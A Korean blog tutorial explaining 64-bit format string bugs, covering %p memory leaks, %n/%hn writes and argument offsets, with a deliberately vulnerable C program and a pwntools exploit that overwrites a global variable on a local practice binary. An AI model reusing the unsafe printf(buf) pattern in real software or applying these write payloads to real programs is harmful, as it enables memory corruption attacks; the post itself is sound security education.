System Hacking/FSB(Format String Bug)

64bit에서 FSB (Format String Bug) 이해하기 -(1)

jir4vvit 2021. 4. 21. 16:20

참고자료 : JSec님 블로그(blog.naver.com/yjw_sz/221889244689)

32bit FSB 시리즈 : 32bit에서 FSB (Format String Bug) 이해하기 -(1),(2),(3)

 

지난 10월... 32bit에서 FSB를 이해했었다. 이제 드디어..! 64bit에서 FSB를 제대로! 이해해보려 한다.(이때까지 문제 푼거는 야매로 문제 푼 것 .. .. ....) 사실 32bit FSB 열심히 공부해놨는데, 정작 문제들은 다 64bit에서의 FSB라서 슬펐다..ㅠ

 

아무튼~ 시작해 봅시당~


tmi 

더보기

초반에는 단순 FSB 개념이기 때문에 32bit에서와 겹친다. 하지만 64bit에서의 특별한 FSB 설명도 있을 수도..

64bit 함수 호출 규약

  • 함수 호출 규약 : 함수를 호출하는 방식에 대한 약속
  • 64bit는 레지스터로 인자를 전달 
  • 6개의 인자는 레지스터로, 그 이외의 인자는 스택으로...
  • RDI, RSI, RDX, RCX, R8, R9

FSB (Format String Bug)

  • printf의 인자 개수는 포맷 문자 개수로 결정된다.
  • buf의 값을 우리가 마음대로 정할 수 있다면 포맷문자를 넣어버리면 우리가 원하는 값을 출력이 가능하다는 뜻이다. 
  • BOF가 발생하지 않아도 원하는 값을 출력하고 입력할 수 있다.

예를 들어 인자로 %d만 넣었을 경우 main함수의 영역이 출력될 수도 있다.

 

printf(%d, 1) 과 printf(%d)

사진 상 우측이 FSB 취약점이 발생한 경우이다.

이를 이용하여 main 함수 스택 내용을 모두 노출 시킬 수 있다.

 

 

%p 출력

  • %p를 통해 메모리를 유출할 수 있고 %[숫자]$p를 통해 [숫자]만큼 떨어져 있는 메모리를 출력이 가능하다.
  • 참고로 %p는 포인터의 주소값을 찍어내는 서식 지정자이다.

%p로 메모리 유출

 

참고

더보기

%p와 %x 둘 다 16진수를 찍는데, %p를 더 많이 쓴다고 한다.

왜냐하면 %x는 앞에 0x도 잘 안붙여주고 무조건 4바이트로 출력해준다. 32bit 에서는 상관없겠지만 64bit는 8바이트 체제인데 4바이트만 출력해주면 .. 좀 그렇지 않은가;

참고로 %p는 32bit에서 4바이트, 64bit에서 8바이트로 출력해준다. 

%[숫자]$p

  • [숫자] 만큼 떨어져 있는 메모리를 출력(유출)이 가능하다.
  • 32bit와 다르게 64bit에서는 6개의 인자는 레지스터에 먼저 저장하고, 그 이상의 인자는 스택에 저장시키기 때문에 7번째부터 스택에 저장된다는 특징이 있다.
  • 그래서 offset은 6이상이 될 수밖에 없다.

아래 사진은 FSB 취약점을 이용하여 레지스터 및 스택을 출력시킨 결과이다.

입력 값 : 'AAAAAAAA %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p' 

 

 

아래 사진은 gdb로 직접 레지스터와 스택 상황을 확인한 모습이다.

FSB 취약점을 이용하여 입력값으로 'AAAAAAAA %p %p ... '를 줘서 출력된 레지스터와 스택상황이 gdb로 직접 확인했을 때와 동일하다. 

 

%n 입력

  • 우리는 출력만 해서는 안되고 스택의 값을 변조를 해야 한다.
  • 이것은 %n 서식 지정자를 사용하면 가능하다.
  • printf 함수의 서식 지정자들은 %n을 제외하고는 전부 인자에 지정된 변수를 읽어 문자열로 출력한다. 
  • 하지만 %n은 지정된 변수를 읽는 게 아니라 지정된 변수에 %n 전까지 출력된 문자의 개수를 지정된 변수에 10진수 형식으로 쓴다. 한마디로 %n은 출력이 아닌 입력을 하는 포맷 스트링 문자이다.

%n 4바이트
%hn 2바이트
%hhn 1바이트

  • %n 앞에 쓰인 바이트 수 만큼 입력을 한다.

%n 사용 예시
출력

%4660c 쓰는 이유는 뭘까?

%n이 앞에 쓰인 바이트 수만큼 입력을 한다고 했었다. 현재 val 변수에는 0x11111111이 들어가 있고, %n에 의해서 4660이라는 값이 val 변수에 들어간다,

 

그래서 0x1234가 출력이 되는 것이다. (4660 = 0x1234)

 


예제 1

// fsb64.c
// gcc -o fsb64 fsb64.c -no-pie
#include <stdio.h>
#include <stdint.h>

uint64_t check;

int main(void)
{
	char buf[0x100];
	read(0, buf, 0x100);
	printf(buf);		// FSB trigger!
    
	if (check == 0x87654321abcd)
		printf("\nNice Try!!\n");
}

"Nice Try!!"를 출력시키는 것이 목표이다.

 

FSB 취약점을 이용하여 check0x87654321abcd로 바꿔줘야 한다.

 

%p을 통해 (레지스터 및) 스택 구조를 살펴보자..

위에처럼 확인할수도 있고 %[숫자]$p를 이용하여 아래처럼 확인할수도 있다. 

(7번째 값부터 스택에 쌓인다는 것을 이용하여 %6$부터 입력하였다.)

 

 

아무튼 'AAAAAAAA'가 6번째에 나타남에 따라 offset은 6임을 확인할 수 있다.

 

exploit코드를 바로 살펴보며 이야기를 해보자.

from pwn import *

p = process('./fsb64')
e = ELF('./fsb64')

# check = 0x601050
check = e.symbols['check']

payload = ''
payload += '%{}c'.format(0xabcd)
payload += '%11$hn'
payload += '%{}c'.format(0x10000 + 0x4321 - 0xabcd)
payload += '%12$hn'
payload += '%{}c'.format(0x8765 - 0x4321)
payload += '%13$hn'
payload += 'A'
payload += p64(check)
payload += p64(check + 2)
payload += p64(check + 4)

p.send(payload)

p.interactive()

'%[숫자]$hn'을 이용하여 6바이트 주소를 2바이트씩 총 세번 써주고 있다. 

 

check 주소에 0x87654321abcd을 써야 한다. 

 

먼저 하위 2바이트 값부터 들어간다.

(주소)         (값)

check    -> 0xabcd

check+2 -> 0x4321

check+4 -> 0x8765

 

.format(0x10000 + 0x4321 - 0xabcd) 

를 하는 이유는 앞에 쓰인 바이트 길이가 뒤에 쓰는 바이트 길이보다 큰 경우 보수 방식의 계산법을 이용해 값을 넣어야 한다.

0x4321 길이만 넣기 위해...

 

 

의문점 1

1. 32bit exploit 할 때는 주소를 제일 앞에 썼는데, 64bit에서는 주소를 뒤에 써준다. 그 이유는 무엇일까?

 

우리가 원하는 주소에 원하는 값을 쓸 때, 64bit에서는 3byte 주소이기 때문에,  8byte씩 데이터를 넣는 64bit 시스템 기준으로 보면 나머지 5byte가 NULL이된다.

 

즉, printf의 첫 인자값으로 주소 값이 들어가면, NULL까지 출력(문자열을 출력)을 하는 printf의 특징에 의해 %n, %hn, %hhn 등의 포맷 문자가 동작하지 않는다. 

 

의문점 2

2. 주소를 뒤에 삽입해도 어차피 NULL이 포함되어 있어서 입력한 모든 값이 출력이 안되는건 동일하지 않을까?

 

문자열을 출력!!할때 NULL에서 끊기는것... 입력은 NULL에서 끊기지 않는다. 따라서 입력한 데이터는 모두 스택에 잘 들어간다.

 

여기서 우리의 주 목적은 %{}c 와 %hn을 실행시키는 것이다.

따라서 뒤에 넣은 주소를 출력할 때 끊기는 것은 상관이 없다/

 

의문점 3

3. A를 %13$hn 뒤에 추가하는 이유?

payload = ''
payload += '%{}c'.format(0xabcd)
payload += '%11$hn'
payload += '%{}c'.format(0x10000 + 0x4321 - 0xabcd)
payload += '%12$hn'
payload += '%{}c'.format(0x8765 - 0x4321)
payload += '%13$hn'
payload += 'A'
payload += p64(check)
payload += p64(check + 2)
payload += p64(check + 4)

payload = %43981c%11$hn%38740c%12$hn%17476c%13$hnA + [check] + [check+2] + [check+4]

 

check = 0x601050
check = 0x601052
check = 0x601054

스택 상황

A를 추가하지 않으면 check에 값을 넣어야 하는데 앞으로 밀려서 이상한 주소에 값이 들어가게 될 것이다,

(A 안넣으면 세폴 뜸)

 

또한 offset이 6이었는데 왜 11번째에 값을 넣어주는지도 스택 상황을 보고 알 수 있다.

 

나의 팁은 A까지의 길이를 출력한후 

A까지의 payload 길이 / 8 = n

offset이 6이었다고 하면 6+n 번째부터 값을 넣어준다.

참고로 A까지의 payload 길이는 8의 배수임을 알 수 있다.

 

 

익스 코드 실행 결과

우리의 목표인 Nice Try!! 문자열 출력시키기 성공~

 

 

 

 


이렇게 check 변수를 fsb 취약점을 이용하여 마음대로 값을 바꿀 수 있었다. 

다음 포스팅에서는 쉘을 실행해보자.